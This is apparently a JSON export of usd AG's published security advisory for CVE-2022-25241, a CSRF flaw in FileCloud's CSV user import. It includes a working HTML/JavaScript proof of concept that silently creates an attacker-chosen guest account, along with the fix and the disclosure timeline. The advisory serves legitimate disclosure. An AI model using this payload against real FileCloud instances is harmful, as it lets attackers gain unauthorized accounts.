{"id":18001,"date":"2022-04-14T10:42:55","date_gmt":"2022-04-14T08:42:55","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=18001"},"modified":"2022-04-26T13:33:30","modified_gmt":"2022-04-26T11:33:30","slug":"usd-2021-0028","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2021-0028\/","title":{"rendered":"usd-2021-0028"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.16\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.16\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<h1>usd-2021-0028 (CVE-2022-25241) | FileCloud<\/h1>\n<p><strong>Advisory ID<\/strong>: usd-2021-0028<br \/><strong>CVE ID<\/strong>: CVE-2022-25241<em><br \/><\/em><strong>CVE URL<\/strong>: <a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2022-25241\" target=\"_blank\" rel=\"noopener\">https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2022-25241<\/a><br \/><strong>Affected Product<\/strong>: FileCloud<br \/><strong>Affected Versions<\/strong>: &lt;\u00a021.3<br \/><strong>Vulnerability Type<\/strong>: <a href=\"https:\/\/cwe.mitre.org\/data\/definitions\/352.html\" target=\"_blank\" rel=\"noopener\">CWE-352<\/a>: Cross-Site Request Forgery (CSRF)<br \/><strong>Security Risk<\/strong>: Medium<br \/><strong>Vendor URL<\/strong>: <a href=\"https:\/\/www.filecloud.com\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.filecloud.com\/<\/a>\u00a0<a href=\"https:\/\/www.microsoft.com\/\" target=\"_blank\" rel=\"noopener\"><\/a><br \/><strong>Vendor Status<\/strong>: Fixed<\/p>\n<p><span><\/span><\/p>\n<h3>Description<\/h3>\n<p><em>FileCloud<\/em>'s CSV user import functionality prior v21.3 is vulnerable to Cross-Site Request Forgery (CSRF).<\/p>\n<p>A Cross-Site Request Forgery (CSRF) attack leads to the execution of unwanted actions in a web application on behalf of a user, who is already logged into the application. When importing users, the application does not validate an anti-CSRF token. Thus, the request for this functionality can be used for CSRF attacks to force an authenticated user into importing new users into the application.\u00a0<\/p>\n<p><span><\/span><\/p>\n<h3>Proof of Concept (PoC)<\/h3>\n<p>The following screenshot shows the application in its initial state. No user with the name \"<strong>pwnuser<\/strong>\" has been created at this point.<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/02\/filecloud_csrf_createuser_1.png\" title_text=\"filecloud_csrf_createuser_1\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.16\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"]<\/p>\n<p>An attacker can construct a web page containing a button with the following HTML code. If the \"<em>Submit Request<\/em>\" button is clicked by an authenticated admin with a valid session in FileCloud, a request is executed on behalf of this user and a CSV user import is triggered without the user himself noticing. An attacker gains access to the application and can log in.<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.16\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" global_colors_info=\"{}\"]<\/p>\n<pre class=\"x-code\">&lt;html&gt;<br \/>&lt;!-- CSRF PoC --&gt;<br \/>&lt;body&gt;<br \/>&lt;script&gt;history.pushState('', '', '\/')&lt;\/script&gt;<br \/>&lt;script&gt;<br \/>function submitRequest()<br \/>{<br \/>var xhr = new XMLHttpRequest();<br \/>xhr.open(\"POST\", \"http:\\\/\\\/localhost\\\/admin\\\/?op=import&amp;sendapprovalemail=0&amp;sendpwdasplaintext=0\", true);<br \/>xhr.setRequestHeader(\"Accept\", \"text\\\/html,application\\\/xhtml+xml,application\\\/xml;q=0.9,image\\\/webp,*\\\/*;q=0.8\");<br \/>xhr.setRequestHeader(\"Accept-Language\", \"en-US,en;q=0.5\");<br \/>xhr.setRequestHeader(\"Content-Type\", \"multipart\\\/form-data; boundary=---------------------------32620124844091845650591418511\");<br \/>xhr.withCredentials = true;<br \/>var body = \"-----------------------------32620124844091845650591418511\\r\\n\" +<br \/>\"Content-Disposition: form-data; name=\\\"uploadFormElement\\\"; filename=\\\"users.csv\\\"\\r\\n\" +<br \/>\"Content-Type: text\/csv\\r\\n\" +<br \/>\"\\r\\n\" +<br \/>\"UserName,EmailID,Password,DisplayName,Status,ExpirationDate,Groups,EmailVerified\\n\" +<br \/>\"pwnuser,pwnuser@example.com,Passw0rd1337,csrfPOC,GUEST,,EVERYONE,YES\\n\" +<br \/>\"\\r\\n\" +<br \/>\"-----------------------------32620124844091845650591418511--\\r\\n\";<br \/>var aBody = new Uint8Array(body.length);<br \/>for (var i = 0; i &lt; aBody.length; i++)<br \/>aBody[i] = body.charCodeAt(i);<br \/>xhr.send(new Blob([aBody]));<br \/>}<br \/>&lt;\/script&gt;<br \/>&lt;form action=\"#\"&gt;<br \/>&lt;input type=\"button\" value=\"Submit request\" onclick=\"submitRequest();\" \/&gt;<br \/>&lt;\/form&gt;<br \/>&lt;\/body&gt;<br \/>&lt;\/html&gt;<\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.16\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\" global_colors_info=\"{}\"]<\/p>\n<p>The web page generated by the attacker can be displayed in an arbitrary style. The following screenshot shows what this page would look like:<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/02\/filecloud_csrf_createuser_2.png\" title_text=\"filecloud_csrf_createuser_2\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.16\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\" global_colors_info=\"{}\"]<\/p>\n<p>When an admin clicks on the button, a new user is created in FileCloud. After the click the authenticated user would send the following request to the FileCloud instance:<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/02\/filecloud_csrf_createuser_3.png\" title_text=\"filecloud_csrf_createuser_3\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.16\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\" global_colors_info=\"{}\"]<\/p>\n<p>When listing the registered users, the newly created user \"<strong>pwnuser<\/strong>\" now appears:<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/02\/filecloud_csrf_createuser_4.png\" title_text=\"filecloud_csrf_createuser_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.16\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<div class=\"e16902-22 x-container max width\">\n<div class=\"e16902-23 x-column x-sm x-1-1\">\n<h3>Fix<\/h3>\n<p>It is recommended to secure every user action using an anti-CSRF token. Such a token consists of a pseudorandom value which is transmitted with every user request using a hidden field. Upon arrival of a new user request the server validates the anti-CSRF token. The user request is then processed only in case of a successful token validation. Such a token has to be generated at least once for every user session.<\/p>\n<h3><\/h3>\n<h3>References<\/h3>\n<ul>\n<li><a href=\"https:\/\/cwe.mitre.org\/data\/definitions\/352.html\" target=\"_blank\" rel=\"noopener\">https:\/\/cwe.mitre.org\/data\/definitions\/352.html<\/a><\/li>\n<li><a href=\"https:\/\/owasp.org\/www-community\/attacks\/csrf\" target=\"_blank\" rel=\"noopener\">https:\/\/owasp.org\/www-community\/attacks\/csrf<\/a><\/li>\n<li><a href=\"https:\/\/www.filecloud.com\/supportdocs\/display\/cloud\/Advisory+2022-01-3+Threat+of+CSRF+via+User+Creation\" target=\"_blank\" rel=\"noopener\">https:\/\/www.filecloud.com\/supportdocs\/display\/cloud\/Advisory+2022-01-3+Threat+of+CSRF+via+User+Creation<\/a><\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Timeline<\/h3>\n<ul>\n<li>\n<p data-pm-slice=\"1 1 []\">2021-10-19: The vulnerability is identified by Gerbert Roitburd and Tim W\u00f6rner.<\/p>\n<\/li>\n<li>\n<p data-pm-slice=\"1 1 []\"><span style=\"font-size: 16px\">2021-10-20: Initial contact via <\/span><a href=\"mailto:support@codelathe.com\" class=\"ProsemirrorEditor-link\">support@codelathe.com.<\/a><\/p>\n<\/li>\n<li>\n<p data-pm-slice=\"1 1 []\"><a href=\"mailto:support@codelathe.com\" class=\"ProsemirrorEditor-link\"><\/a><span style=\"font-size: 16px\">2021-10-21: Submission of advisories<\/span><\/p>\n<\/li>\n<li>\n<p data-pm-slice=\"1 1 []\"><span style=\"font-size: 16px\"><\/span><span style=\"font-size: 16px\">2021-11-01: The vendor acknowledges the findings and estimates a remediation by the end of 2021.<\/span><\/p>\n<\/li>\n<li>2022-01-06: With the update to v21.3, a fix for the aforementioned vulnerability as well as an advisory are released: <a href=\"https:\/\/www.filecloud.com\/supportdocs\/display\/cloud\/Advisory+2022-01-3+Threat+of+CSRF+via+User+Creation\" target=\"_blank\" rel=\"noopener\">https:\/\/www.filecloud.com\/supportdocs\/display\/cloud\/Advisory+2022-01-3+Threat+of+CSRF+via+User+Creation<\/a><br \/><span style=\"font-size: 16px\"><\/span><\/li>\n<li>2022-04-14: This advisory is published.<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was found by Gerbert Roitburd and Tim W\u00f6rner of usd AG.<\/p>\n<\/div>\n<\/div>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2021-0028 (CVE-2022-25241) | FileCloud Advisory ID: usd-2021-0028CVE ID: CVE-2022-25241CVE URL: https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2022-25241Affected Product: FileCloudAffected Versions: &lt;\u00a021.3Vulnerability Type: CWE-352: Cross-Site Request Forgery (CSRF)Security Risk: MediumVendor URL: https:\/\/www.filecloud.com\/\u00a0Vendor Status: Fixed Description FileCloud's CSV user import functionality prior v21.3 is vulnerable to Cross-Site Request Forgery (CSRF). A Cross-Site Request Forgery (CSRF) attack leads to the execution of unwanted actions [&hellip;]<\/p>\n","protected":false},"author":100,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-18001","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/18001","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/100"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=18001"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/18001\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=18001"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}